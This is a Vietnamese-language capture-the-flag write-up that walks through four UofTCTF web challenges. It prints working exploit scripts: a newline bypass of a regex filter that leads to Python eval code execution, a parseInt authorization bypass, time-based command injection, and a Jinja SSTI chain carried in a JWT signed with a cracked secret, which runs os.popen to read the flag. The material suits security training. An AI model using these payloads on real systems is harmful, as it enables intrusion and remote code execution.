---
# System prepended metadata

title: UoftCTF

---

{%hackmd @themes/orangeheart %}

# No Code

## About the challenge

![image](https://hackmd.io/_uploads/HJeJ7Cft6.png)

Đây là 1 trang web mà khi chúng ta click vào thì nó sẽ hiện ra status code là 404.

![image](https://hackmd.io/_uploads/B1S1EAfKT.png)

Ở thử thách lần này thì nó cho ta 1 source code trong file ``app.py`` như sau:

```
from flask import Flask, request, jsonify
import re

app = Flask(__name__)

@app.route('/execute', methods=['POST'])
def execute_code():
    code = request.form.get('code', '')
    if re.match(".*[\x20-\x7E]+.*", code):
        return jsonify({"output": "jk lmao no code"}), 403
    result = ""
    try:
        result = eval(code)
    except Exception as e:
        result = str(e)

    return jsonify({"output": result}), 200

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=1337, debug=False)
```

Trong trường hợp này, chúng ta có thể thực thi mã Python nhưng có một biểu thức chính quy ở đây ``.*[\x20-\x7E]+.*`` (khớp với bất kỳ chuỗi nào có ít nhất một ký tự ASCII có thể in được) nên về cơ bản chúng ta "không thể" nhập bất cứ thứ gì vào đây.

## Solution

Để bypass được được điều này, ta có thể sử dụng ``\n`` để tạo 1 dòng mới và sau đó code python của chúng ta sẽ được thực thi như sau:

![image](https://hackmd.io/_uploads/HkIuV0zY6.png)

## Script

```
#!/usr/bin/env python3
import requests
import string,sys
url = 'https://uoftctf-no-code.chals.io/execute'

payload = "\n__import__('os').popen('cat flag.txt').read()"

data = {
    'code': payload
}
response = requests.post(url, data=data)
print(response.text)
```

#  The Varsity 

## About the challenge

![image](https://hackmd.io/_uploads/S1pZBRzYp.png)

Đầu tiên trang web sẽ cung cho chúng ta 1 form đăng kí như này.

![image](https://hackmd.io/_uploads/rkTdU0MFp.png)

Sau khi đăng kí xong thì trang web ta sẽ đưa ta sang 1 trang web khác mà ta có thể đọc các bài viết.

![image](https://hackmd.io/_uploads/S1nnL0GFp.png)

Sau khi dạo 1 vòng thì các mục này có 1 vài mục phải có đặc quyền cao hơn mới có thể xem được và có thể chứa thông tin nhạy cảm.

```
const articles = [
  {
    "title": "Pioneering the Future: UofT's Revolutionary AI Research",
    "content": "The University of Toronto continues to lead groundbreaking research in artificial intelligence, with its latest project aiming to develop algorithms that can understand emotions in text. Spearheaded by a team of international students, this initiative promises to revolutionize how machines interact with human language."
  },
  ...
  {
    title: "UofT Hosts its 2nd Inaugural Capture the Flag Event",
    content: "Your flag is: " + FLAG,
  },
];
```

Tiếp tục dưới đây là đoạn code dùng để xác thực người dùng xem ai có thể đọc được những thông tin nhạy cảm.

```
app.post("/article", (req, res) => {
  const token = req.cookies.token;

  if (token) {
    try {
      const decoded = jwt.verify(token, JWT_SECRET);

      let issue = req.body.issue;

      if (req.body.issue < 0) {
        return res.status(400).json({ message: "Invalid issue number" });
      }

      if (decoded.subscription !== "premium" && issue >= 9) {
        return res
          .status(403)
          .json({ message: "Please subscribe to access this issue" });
      }

      issue = parseInt(issue);

      if (Number.isNaN(issue) || issue > articles.length - 1) {
        return res.status(400).json({ message: "Invalid issue number" });
      }

      return res.json(articles[issue]);
    } catch (error) {
      res.clearCookie("token");
      return res.status(403).json({ message: "Not Authenticated" });
    }
  } else {
    return res.status(403).json({ message: "Not Authenticated" });
  }
});
```

Điều đáng chú ý trong đoạn code trên chính là phần xác nhận của biến ``issue`` đứng trước hàm ``parseInt``.

## Solution

Dưới đây là phần test thử hàm ``parseInt`` trong javascript.

```
parseInt("10"); => 10
parseInt("10.00"); => 10
parseInt("10.33"); => 10
parseInt("34 45 66"); => 34
parseInt(" 60 "); => 60
parseInt("40 years"); => 40
parseInt("He was 40"); => NaN
```

Vì vậy, tôi đã thử giá trị như ``9 years`` cho phần ``article ID`` để đọc mà không cần xác thực quyền.

![image](https://hackmd.io/_uploads/BkSDFRfFp.png)

Như đã nói muốn vào được phần này thì phải trải qua bước xác thực, tiếp theo tôi chỉ cần đổi giá trị từ ``9`` thành ``9 years`` để đọc được thông tin.

![image](https://hackmd.io/_uploads/rk4hFRzYp.png)


# Voice Changer

## About the challenge

![image](https://hackmd.io/_uploads/S1rMjRzKa.png)

Thử thách cho ta 1 trang web mà ta có thể ghi lại âm thanh và phát nó ra.

![image](https://hackmd.io/_uploads/rJkOiAfFp.png)

Sau khi upload 1 file âm thanh lên thì ta có thể tùy ý điều chỉnh cao độ... Đây là phần request của nó.

![image](https://hackmd.io/_uploads/BJapj0fta.png)

## Solution

Tôi sử dụng 1 câu lệnh ``sleep`` cmd để thử xem thời gian trang web phản hồi có bị delay không, và kết quả là có. Do đó ta có thể khai thác theo hướng này.

![image](https://hackmd.io/_uploads/ry9dnCzK6.png)

Cuối cùng tôi chỉ việc list ra các thông tin cần thiết và đọc nó là xong.

![image](https://hackmd.io/_uploads/HJydaCMK6.png)

Decode base64 đối với dòng trên ta có.

![image](https://hackmd.io/_uploads/BJFKTRMKp.png)

# My First App

## About the challenge

![image](https://hackmd.io/_uploads/BJPqkyQYa.png)

Khi vào thử thách thì trang web sẽ cho ta 1 form để đăng kí tài khoản.

![image](https://hackmd.io/_uploads/BkwOm-BF6.png)

Sau khi đăng kí thành công thì trang web sẽ chuyển hướng ta đến 1 trang web khác, tuy nhiên nó không cung cấp cho ta bất kì quyền gì cả. Check ở phần cookie ta tìm được 1 dãy ``jwt`` như sau:

![image](https://hackmd.io/_uploads/BkykVWSt6.png)

## Solution

Tiếp theo tôi sử dụng ``hashcat`` để tìm ra ``secret key`` của nó và biết được là ``torontobluejays``

![image](https://hackmd.io/_uploads/rkSwNWrKa.png)

Tiếp theo dưới đây là script khai thác ``SSTI``

```
  #!/usr/bin/env python3
import jwt
import requests
from bs4 import BeautifulSoup

secret_key = 'torontobluejays'
username = """
{{lipsum|attr(request.referrer.split().pop(0))|attr(request.referrer.split().pop(1))(request.referrer.split().pop(2))|attr(request.referrer.split().pop(3))(request.referrer.split().pop(4))|attr(request.referrer.split().pop(5))()}}
"""
pay = """__globals__ __getitem__ os popen cat${IFS}flag.txt read """


def genJWT(username):
    payload = {
        "username": username,
}
    token = jwt.encode(payload, secret_key, algorithm='HS256')
    return token


jwt_token = genJWT(username)
print(jwt_token)

url = "https://uoftctf-my-first-app.chals.io:443/?test="
cookies = {"auth_token": jwt_token}

headers = {"referer": pay}
response = requests.get(url,headers=headers, cookies=cookies)
#response = requests.get(url,headers=headers, cookies=cookies, proxies=proxies)
cont = response.text


s = BeautifulSoup(cont, 'html.parser')
cov = s.find('div', class_='container')

if cov:
    print(cov.prettify())
else:
    print(cont)
```